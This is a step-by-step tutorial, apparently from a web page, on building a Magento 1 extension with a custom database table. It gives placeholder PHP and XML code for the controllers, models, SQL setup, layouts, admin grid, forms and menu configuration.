Lesson 6 – Create a plugin in the backend
Lesson 7 – The magento admin grid
Lesson 8 – Rewrite / modify a magento block
Lesson 9 – Rewrite / modify a magento model
Lesson 10 – Rewrite / modify a magento controller
Lesson 11 – Events and Observers in magento
Lesson 12 – The Helpers
Lesson 14 – Make an update of your plugin
Lesson 15 – Translate your Magento plugin, the Internationalization
Step by step,



http://navaneeth.me/creating-magento-extension-with-custom-database-table/#.VHeOTWfI2ZQ
Let’s setup our directory structure:
/app/code/local/<Namespace>/<Module>/
Block/
controllers/
etc/
Model/
    Mysql4/
        <Module>/
sql/
    <module>_setup/
/app/design/frontend/<interface>/<theme>/
 
template/
    <module>/

Activate Module

Magento requires there to be an XML file that tells Magento to look for and use your custom module.
/app/etc/modules/<Namespace>_<Module>.xml
<?xml version="1.0"?>
<config>
    <modules>
        <[Namespace]_[Module]>
            <active>true</active>
            <codePool>local</codePool>
        </[Namespace]_[Module]>
    </modules>
</config>
Also you can disable your module in the Configuration menu on the backend via the Advanced tab.
NOTE: Due to a bug in Magento, whitespace is not treated correctly. This means that if you leave space in the values between node names (anything in angled brackets <> is a node), Magento will break.
As an explanation of the above code you will see that all you are changing is the [Namespace]_[Module] text and leaving everything else the same. Please note the capital P in codePool. If this is lowercase this module will not be active.

Create Controller

/app/code/local/<Namespace>/<Module>/controllers/IndexController.php
<?php
class <Namespace>_<Module>_IndexController extends Mage_Core_Controller_Front_Action
{
    public function indexAction()
    {
            $this->loadLayout();
            $this->renderLayout();
    }
}
NOTE: You may notice that there is no closing, ?>, PHP tag in the code. This is a common coding style that Magento core classes use. Magento Coding Standard is similar (with some exceptions) to Zend Framework PHP Coding Standard and you can find the detailed explanations of this rule in Zend Framework Documentation

Create Configuration XML

/app/code/local/<Namespace>/<Module>/etc/config.xml
<?xml version="1.0"?>
<config>
    <modules>
        <[Namespace]_[Module]>
            <version>0.1.0</version>
        </[Namespace]_[Module]>
    </modules>
    <frontend>
        <routers>
            <[module]>
                <use>standard</use>
                <args>
                    <module>[Namespace]_[Module]</module>
                    <frontName>[module]</frontName>
                </args>
            </[module]>
        </routers>
        <layout>
            <updates>
                <[module]>
                    <file>[module].xml</file>
                </[module]>
            </updates>
        </layout>
    </frontend>  
    <global>
        <models>
            <[module]>
                <class>[Namespace]_[Module]_Model</class>
                <resourceModel>[module]_mysql4</resourceModel>
            </[module]>
            <[module]_mysql4>
                <class>[Namespace]_[Module]_Model_Mysql4</class>
                <entities>
                    <[module]>
                        <table>[module]</table>
                    </[module]>
                </entities>
            </[module]_mysql4>
        </models>
        <resources>
            <[module]_setup>
                <setup>
                    <module>[Namespace]_[Module]</module>
                </setup>
                <connection>
                    <use>core_setup</use>
                </connection>
            </[module]_setup>
            <[module]_write>
                <connection>
                    <use>core_write</use>
                </connection>
            </[module]_write>
            <[module]_read>
                <connection>
                    <use>core_read</use>
                </connection>
            </[module]_read>
        </resources>
        <blocks>
            <[module]>
                <class>[Namespace]_[Module]_Block</class>
            </[module]>
        </blocks>
        <helpers>
            <[module]>
                <class>[Namespace]_[Module]_Helper</class>
            </[module]>
        </helpers>
    </global>
</config>
NB : You can use the frontName of your choice without any link to your module name. IE : Mage_Catalog could have “mycatalog” as a frontName.

Create Helper

/app/code/local/<Namespace>/<Module>/Helper/Data.php
<?php
  
class <Namespace>_<Module>_Helper_Data extends Mage_Core_Helper_Abstract
{
  
}

Create Models

If you are quite new to Magento you should pay attention to one of its specifics! The Constructors below are not the usual PHP-Constructors!! Keeping that in mind can save hours of frustrating crashes ;)
/app/code/local/<Namespace>/<Module>/Model/<Module>.php
<?php
  
class <Namespace>_<Module>_Model_<Module> extends Mage_Core_Model_Abstract
{
    public function _construct()
    {
        parent::_construct();
        $this->_init('<module>/<module>');
    }
}
/app/code/local/<Namespace>/<Module>/Model/Mysql4/<Module>.php
<?php
  
class <Namespace>_<Module>_Model_Mysql4_<Module> extends Mage_Core_Model_Mysql4_Abstract
{
    public function _construct()
    {  
        $this->_init('<module>/<module>', '<module>_id');
    }
}
NOTE: The ‘_id’ refers to the PRIMARY KEY in your database table.
/app/code/local/<Namespace>/<Module>/Model/Mysql4/<Module>/Collection.php
<?php
  
class <Namespace>_<Module>_Model_Mysql4_<Module>_Collection extends Mage_Core_Model_Mysql4_Collection_Abstract
{
    public function _construct()
    {
        //parent::__construct();
        $this->_init('<module>/<module>');
    }
}

SQL Setup

/app/code/local/<Namespace>/<Module>/sql/<module>_setup/mysql4-install-0.1.0.php
<?php
  
$installer = $this;
  
$installer->startSetup();
  
$installer->run("
  
-- DROP TABLE IF EXISTS {$this->getTable('<module>')};
CREATE TABLE {$this->getTable('<module>')} (
  `<module>_id` int(11) unsigned NOT NULL auto_increment,
  `title` varchar(255) NOT NULL default '',
  `content` text NOT NULL default '',
  `status` smallint(6) NOT NULL default '0',
  `created_time` datetime NULL,
  `update_time` datetime NULL,
  PRIMARY KEY (`<module>_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;
  
    ");
  
$installer->endSetup();
NOTE: Please note the text that needs to be replaced. This SQL structure is up to you, this is merely a starting point.
Note Important: If you add fields and couldn’t save data in these fields please try to go to System→Cache Management Then 1.Flush Cache Storage 2.Flush Magento Cache.

Template Design

/app/design/frontend/<interface>/<theme>/layout/<module>.xml
<?xml version="1.0"?>
<layout version="0.1.0">
    <[module]_index_index>
        <reference name="content">
            <block type="[module]/[module]" name="[module]" />
        </reference>
    </[module]_index_index>
</layout>
NOTE: The block type will automatically figure out what template file to use based on the second [module] declaration.
As an alternate way of declaring what template file to use you can use this:
/app/design/frontend/<interface>/<theme>/layout/<module>.xml
<?xml version="1.0"?>
<layout version="0.1.0">
    <[module]_index_index>
        <reference name="content">
            <block type="core/template" name="[module]" template="[module]/[module].phtml" />
        </reference>
    </[module]_index_index>
</layout>
/app/design/frontend/<interface>/<theme>/template/<module>/<module>.phtml
<h4><?php echo $this->__('Module List') ?></h4>
  
<?php  
        /*
        This will load one record from your database table.
        load(<module>_id) will load whatever ID number you give it.
        */
    /*
    $news = Mage::getModel('<module>/<module>')->load(1);
    echo $news->get<Module>Id();
    echo $news->getTitle();
    echo $news->getContent();
    echo $news->getStatus();
    */
  
        /*
        This block of code loads all of the records in the database table.
        It will iterate through the collection and the first thing it will do
        is set the Title to the current value of $i which is incremented each
        iteration and then echo that value back out.  At the very end it will
        save the entire collection.
        */
    /*
    $i = 0;
          
    $collection = Mage::getModel('<module>/<module>')->getCollection();
    $collection->setPageSize(5);
    $collection->setCurPage(2);
    $size = $collection->getSize();
    $cnt = count($collection);
    foreach ($collection as $item) {
        $i = $i+1;
        $item->setTitle($i);
        echo $item->getTitle();
    }
  
    $collection->walk('save');  
    */
  
        /*
        This shows how to load one value, change something and save it.
        */
  
    /*
    $object = Mage::getModel('<module>/<module>')->load(1);
    $object->setTitle('This is a changed title');
    $object->save();
    */
?>
NOTE: Uncomment anything that you would like to use and this is just a starting point and some common methods for you to try and pull the data out.
In this section I am utilizing the built-in Grid Widgets and form capabilities to create a form to allow editing and creating new items for your custom database.

Directory Additions

Here is the revised directory setup due to the additions and changes we need for the backend module.
/app/code/local/<Namespace>/<Module>/
Block/
    Adminhtml/
        <Module>/
            Edit/
                Tab/
controllers/
    Adminhtml/
etc/
Helper/
Model/
    Mysql4/
        <Module>/
sql/
    <module>_setup/
Blocks
These control the setup and appearance of your grids and the options that they display.
NOTE: Please note the fact that Block comes before Adminhtml in the class declaration. In any of the Magento modules in Adminhtml it is the opposite. For your module to work it has to be Block_Adminhtml otherwise you will get a ‘Cannot redeclare module…’ error.
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module> extends Mage_Adminhtml_Block_Widget_Grid_Container
{
    public function __construct()
    {
        $this->_controller = 'adminhtml_<module>';
        $this->_blockGroup = '<module>';
        $this->_headerText = Mage::helper('<module>')->__('Item Manager');
        $this->_addButtonLabel = Mage::helper('<module>')->__('Add Item');
        parent::__construct();
    }
}
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>/Edit.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module>_Edit extends Mage_Adminhtml_Block_Widget_Form_Container
{
    public function __construct()
    {
        parent::__construct();
                
        $this->_objectId = 'id';
        $this->_blockGroup = '<module>';
        $this->_controller = 'adminhtml_<module>';
  
        $this->_updateButton('save', 'label', Mage::helper('<module>')->__('Save Item'));
        $this->_updateButton('delete', 'label', Mage::helper('<module>')->__('Delete Item'));
    }
  
    public function getHeaderText()
    {
        if( Mage::registry('<module>_data') && Mage::registry('<module>_data')->getId() ) {
            return Mage::helper('<module>')->__("Edit Item '%s'", $this->htmlEscape(Mage::registry('<module>_data')->getTitle()));
        } else {
            return Mage::helper('<module>')->__('Add Item');
        }
    }
}
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>/Grid.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module>_Grid extends Mage_Adminhtml_Block_Widget_Grid
{
    public function __construct()
    {
        parent::__construct();
        $this->setId('<module>Grid');
        // This is the primary key of the database
        $this->setDefaultSort('<module>_id');
        $this->setDefaultDir('ASC');
        $this->setSaveParametersInSession(true);
        $this->setUseAjax(true);
    }
  
    protected function _prepareCollection()
    {
        $collection = Mage::getModel('<module>/<module>')->getCollection();
        $this->setCollection($collection);
        return parent::_prepareCollection();
    }
  
    protected function _prepareColumns()
    {
        $this->addColumn('<module>_id', array(
            'header'    => Mage::helper('<module>')->__('ID'),
            'align'     =>'right',
            'width'     => '50px',
            'index'     => '<module>_id',
        ));
  
        $this->addColumn('title', array(
            'header'    => Mage::helper('<module>')->__('Title'),
            'align'     =>'left',
            'index'     => 'title',
        ));
  
        /*
        $this->addColumn('content', array(
            'header'    => Mage::helper('<module>')->__('Item Content'),
            'width'     => '150px',
            'index'     => 'content',
        ));
        */
  
        $this->addColumn('created_time', array(
            'header'    => Mage::helper('<module>')->__('Creation Time'),
            'align'     => 'left',
            'width'     => '120px',
            'type'      => 'date',
            'default'   => '--',
            'index'     => 'created_time',
        ));
  
        $this->addColumn('update_time', array(
            'header'    => Mage::helper('<module>')->__('Update Time'),
            'align'     => 'left',
            'width'     => '120px',
            'type'      => 'date',
            'default'   => '--',
            'index'     => 'update_time',
        ));  
  
  
        $this->addColumn('status', array(
  
            'header'    => Mage::helper('<module>')->__('Status'),
            'align'     => 'left',
            'width'     => '80px',
            'index'     => 'status',
            'type'      => 'options',
            'options'   => array(
                1 => 'Active',
                0 => 'Inactive',
            ),
        ));
  
        return parent::_prepareColumns();
    }
  
    public function getRowUrl($row)
    {
        return $this->getUrl('*/*/edit', array('id' => $row->getId()));
    }
  
    public function getGridUrl()
    {
      return $this->getUrl('*/*/grid', array('_current'=>true));
    }
  
  
}
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>/Edit/Form.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module>_Edit_Form extends Mage_Adminhtml_Block_Widget_Form
{
    protected function _prepareForm()
    {
        $form = new Varien_Data_Form(array(
                                        'id' => 'edit_form',
                                        'action' => $this->getUrl('*/*/save', array('id' => $this->getRequest()->getParam('id'))),
                                        'method' => 'post',
                                     )
        );
  
        $form->setUseContainer(true);
        $this->setForm($form);
        return parent::_prepareForm();
    }
}
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>/Edit/Tabs.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module>_Edit_Tabs extends Mage_Adminhtml_Block_Widget_Tabs
{
  
    public function __construct()
    {
        parent::__construct();
        $this->setId('<module>_tabs');
        $this->setDestElementId('edit_form');
        $this->setTitle(Mage::helper('<module>')->__('News Information'));
    }
  
    protected function _beforeToHtml()
    {
        $this->addTab('form_section', array(
            'label'     => Mage::helper('<module>')->__('Item Information'),
            'title'     => Mage::helper('<module>')->__('Item Information'),
            'content'   => $this->getLayout()->createBlock('<module>/adminhtml_<module>_edit_tab_form')->toHtml(),
        ));
        
        return parent::_beforeToHtml();
    }
}
/app/code/local/<Namespace>/<Module>/Block/Adminhtml/<Module>/Edit/Tab/Form.php
<?php
  
class <Namespace>_<Module>_Block_Adminhtml_<Module>_Edit_Tab_Form extends Mage_Adminhtml_Block_Widget_Form
{
    protected function _prepareForm()
    {
        $form = new Varien_Data_Form();
        $this->setForm($form);
        $fieldset = $form->addFieldset('<module>_form', array('legend'=>Mage::helper('<module>')->__('Item information')));
        
        $fieldset->addField('title', 'text', array(
            'label'     => Mage::helper('<module>')->__('Title'),
            'class'     => 'required-entry',
            'required'  => true,
            'name'      => 'title',
        ));
  
        $fieldset->addField('status', 'select', array(
            'label'     => Mage::helper('<module>')->__('Status'),
            'name'      => 'status',
            'values'    => array(
                array(
                    'value'     => 1,
                    'label'     => Mage::helper('<module>')->__('Active'),
                ),
  
                array(
                    'value'     => 0,
                    'label'     => Mage::helper('<module>')->__('Inactive'),
                ),
            ),
        ));
        
        $fieldset->addField('content', 'editor', array(
            'name'      => 'content',
            'label'     => Mage::helper('<module>')->__('Content'),
            'title'     => Mage::helper('<module>')->__('Content'),
            'style'     => 'width:98%; height:400px;',
            'wysiwyg'   => false,
            'required'  => true,
        ));
        
        if ( Mage::getSingleton('adminhtml/session')->get<Module>Data() )
        {
            $form->setValues(Mage::getSingleton('adminhtml/session')->get<Module>Data());
            Mage::getSingleton('adminhtml/session')->set<Module>Data(null);
        } elseif ( Mage::registry('<module>_data') ) {
            $form->setValues(Mage::registry('<module>_data')->getData());
        }
        return parent::_prepareForm();
    }
}

Controller

/app/code/local/<Namespace>/<Module>/controllers/Adminhtml/<Module>Controller.php
NOTE: you need to manually add line 16, which is currently missing in this file. As per suggestion from mkd at page http://www.magentocommerce.com/boards/viewthread/11228/
<?php
  
class <Namespace>_<Module>_Adminhtml_<Module>Controller extends Mage_Adminhtml_Controller_Action
{
  
    protected function _initAction()
    {
        $this->loadLayout()
            ->_setActiveMenu('<module>/items')
            ->_addBreadcrumb(Mage::helper('adminhtml')->__('Items Manager'), Mage::helper('adminhtml')->__('Item Manager'));
        return $this;
    }  
    
    public function indexAction() {
        $this->_initAction();      
        $this->_addContent($this->getLayout()->createBlock('<module>/adminhtml_<module>'));
        $this->renderLayout();
    }
  
    public function editAction()
    {
        $<module>Id     = $this->getRequest()->getParam('id');
        $<module>Model  = Mage::getModel('<module>/<module>')->load($<module>Id);
  
        if ($<module>Model->getId() || $<module>Id == 0) {
  
            Mage::register('<module>_data', $<module>Model);
  
            $this->loadLayout();
            $this->_setActiveMenu('<module>/items');
            
            $this->_addBreadcrumb(Mage::helper('adminhtml')->__('Item Manager'), Mage::helper('adminhtml')->__('Item Manager'));
            $this->_addBreadcrumb(Mage::helper('adminhtml')->__('Item News'), Mage::helper('adminhtml')->__('Item News'));
            
            $this->getLayout()->getBlock('head')->setCanLoadExtJs(true);
            
            $this->_addContent($this->getLayout()->createBlock('<module>/adminhtml_<module>_edit'))
                 ->_addLeft($this->getLayout()->createBlock('<module>/adminhtml_<module>_edit_tabs'));
                
            $this->renderLayout();
        } else {
            Mage::getSingleton('adminhtml/session')->addError(Mage::helper('<module>')->__('Item does not exist'));
            $this->_redirect('*/*/');
        }
    }
    
    public function newAction()
    {
        $this->_forward('edit');
    }
    
    public function saveAction()
    {
        if ( $this->getRequest()->getPost() ) {
            try {
                $postData = $this->getRequest()->getPost();
                $<module>Model = Mage::getModel('<module>/<module>');
                
                $<module>Model->setId($this->getRequest()->getParam('id'))
                    ->setTitle($postData['title'])
                    ->setContent($postData['content'])
                    ->setStatus($postData['status'])
                    ->save();
                
                Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Item was successfully saved'));
                Mage::getSingleton('adminhtml/session')->set<Module>Data(false);
  
                $this->_redirect('*/*/');
                return;
            } catch (Exception $e) {
                Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
                Mage::getSingleton('adminhtml/session')->set<Module>Data($this->getRequest()->getPost());
                $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));
                return;
            }
        }
        $this->_redirect('*/*/');
    }
    
    public function deleteAction()
    {
        if( $this->getRequest()->getParam('id') > 0 ) {
            try {
                $<module>Model = Mage::getModel('<module>/<module>');
                
                $<module>Model->setId($this->getRequest()->getParam('id'))
                    ->delete();
                    
                Mage::getSingleton('adminhtml/session')->addSuccess(Mage::helper('adminhtml')->__('Item was successfully deleted'));
                $this->_redirect('*/*/');
            } catch (Exception $e) {
                Mage::getSingleton('adminhtml/session')->addError($e->getMessage());
                $this->_redirect('*/*/edit', array('id' => $this->getRequest()->getParam('id')));
            }
        }
        $this->_redirect('*/*/');
    }
    /**
     * Product grid for AJAX request.
     * Sort and filter result for example.
     */
    public function gridAction()
    {
        $this->loadLayout();
        $this->getResponse()->setBody(
               $this->getLayout()->createBlock('<module>/adminhtml_<module>_grid')->toHtml()
        );
    }
}

XML Configuration Changes

/app/code/local/<Namespace>/<Module>/etc/config.xml
<?xml version="1.0"?>
<config>
    <modules>
        <[Namespace]_[Module]>
            <version>0.1.0</version>
        </[Namespace]_[Module]>
    </modules>
    <frontend>
        <routers>
            <[module]>
                <use>standard</use>
                <args>
                    <module>[Namespace]_[Module]</module>
                    <frontName>[module]</frontName>
                </args>
            </[module]>
        </routers>
        <layout>
            <updates>
                <[module]>
                    <file>[module].xml</file>
                </[module]>
            </updates>
        </layout>
    </frontend>
    <admin>
        <routers>
            <[module]>
                <use>admin</use>
                <args>
                    <module>[Namespace]_[Module]</module>
                    <frontName>[module]</frontName>
                </args>
            </[module]>
        </routers>
    </admin>
    <adminhtml>
        <menu>
            <[module] module="[module]">
                <title>[Module]</title>
                <sort_order>71</sort_order>              
                <children>
                    <items module="[module]">
                        <title>Manage Items</title>
                        <sort_order>0</sort_order>
                        <action>[module]/adminhtml_[module]</action>
                    </items>
                </children>
            </[module]>
        </menu>
        <acl>
            <resources>
                <all>
                    <title>Allow Everything</title>
                </all>
                <admin>
                    <children>
                        <[module]>
                            <title>[Module] Module</title>
                            <sort_order>200</sort_order>
                        </[module]>
                    </children>
                </admin>
            </resources>  
        </acl>
        <layout>
            <updates>
                <[module]>
                    <file>[module].xml</file>
                </[module]>
            </updates>
        </layout>
    </adminhtml>  
    <global>
        <models>
            <[module]>
                <class>[Namespace]_[Module]_Model</class>
                <resourceModel>[module]_mysql4</resourceModel>
            </[module]>
            <[module]_mysql4>
                <class>[Namespace]_[Module]_Model_Mysql4</class>
                <entities>
                    <[module]>
                        <table>[module]</table>
                    </[module]>
                </entities>
            </[module]_mysql4>
        </models>
        <resources>
            <[module]_setup>
                <setup>
                    <module>[Namespace]_[Module]</module>
                </setup>
                <connection>
                    <use>core_setup</use>
                </connection>
            </[module]_setup>
            <[module]_write>
                <connection>
                    <use>core_write</use>
                </connection>
  
  
            </[module]_write>
            <[module]_read>
                <connection>
                    <use>core_read</use>
                </connection>
            </[module]_read>
        </resources>
        <blocks>
            <[module]>
                <class>[Namespace]_[Module]_Block</class>
            </[module]>
        </blocks>
        <helpers>
            <[module]>
                <class>[Namespace]_[Module]_Helper</class>
            </[module]>
        </helpers>
    </global>
</config>
XML Layout
/app/design/adminhtml/<interface>/<theme>/layout/<module>.xml
<?xml version="1.0"?>
<layout version="0.1.0">
    <[module]_adminhtml_[module]_index>
        <reference name="content">
            <block type="[module]/adminhtml_[module]" name="[module]" />
        </reference>
    </[module]_adminhtml_[module]_index>
</layout>

Seperate Adminhtml Configuration

It’s also worth noting the adminhtml changes in the config.xml (above) can be placed in their own XML file instead, keeping these changes separated away:
/app/code/local/<Namespace>/<Module>/etc/adminhtml.xml
<?xml version="1.0"?>
<config>
    <menu>
        <[module] module="[module]">
            <title>[Module]</title>
            <sort_order>71</sort_order>              
            <children>
                <items module="[module]">
                    <title>Manage Items</title>
                    <sort_order>0</sort_order>
                    <action>[module]/adminhtml_[module]</action>
                </items>
            </children>
        </[module]>
    </menu>
    <acl>
        <resources>
            <all>
                <title>Allow Everything</title>
            </all>
            <admin>
                <children>
                    <[module]>
                        <title>[Module] Module</title>
                        <sort_order>200</sort_order>
                    </[module]>
                </children>
            </admin>
        </resources>  
    </acl>
    <layout>
        <updates>
            <[module]>
                <file>[module].xml</file>
            </[module]>
        </updates>
    </layout>
</config>

Standard Magento Admin URLs, no rewrite needed

Also, rather than using a rewrite for the admin section described above, you can implement the same standard admin generated urls Magento uses. These look like: ‘/admin/[module]/index/’ instead of the above that would generate ‘/[module]/adminhtml_[module]/index/’.
To implement this different url structure you can change the following in your config.xml:
/app/code/local/<Namespace>/<Module>/etc/config.xml
...
<admin>
    <routers>
        <!-- Includes our controller, so when we add the adminhtml menu item below, it is found! -->
        <adminhtml>
             <args>
                 <modules>
                     <[module] before="Mage_Adminhtml">[Namespace]_[Module]_Adminhtml</[module]>
                 </modules>
             </args>
         </adminhtml>
    </routers>
</admin>
<adminhtml>
    <menu>
        <[module] module="[module]">
            <title>[Module]</title>
            <sort_order>71</sort_order>              
            <children>
                <items module="[module]">
                    <title>Manage Items</title>
                    <sort_order>0</sort_order>
                    <action>adminhtml/[module]</action>
                </items>
            </children>
        </[module]>
    </menu>
..